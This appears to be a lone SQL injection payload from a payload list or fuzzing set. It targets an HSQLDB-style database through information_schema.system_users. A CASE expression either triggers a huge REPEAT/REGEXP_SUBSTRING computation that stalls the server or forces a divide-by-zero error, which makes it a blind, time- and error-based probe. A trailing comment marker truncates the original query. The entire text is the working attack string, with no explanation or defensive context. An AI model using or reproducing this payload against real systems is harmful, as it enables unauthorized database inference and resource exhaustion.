1,   (   select    (   case when    (   8640   =   8640   )    then    (   ascii   (   regexp_substring   (   repeat   (   right   (   char   (   8640   )   ,0   )   ,500000000   )   ,null    )      )       )    else 8640/   (   select 0 from information_schema.system_users   )    end   )    from information_schema.system_users   )   --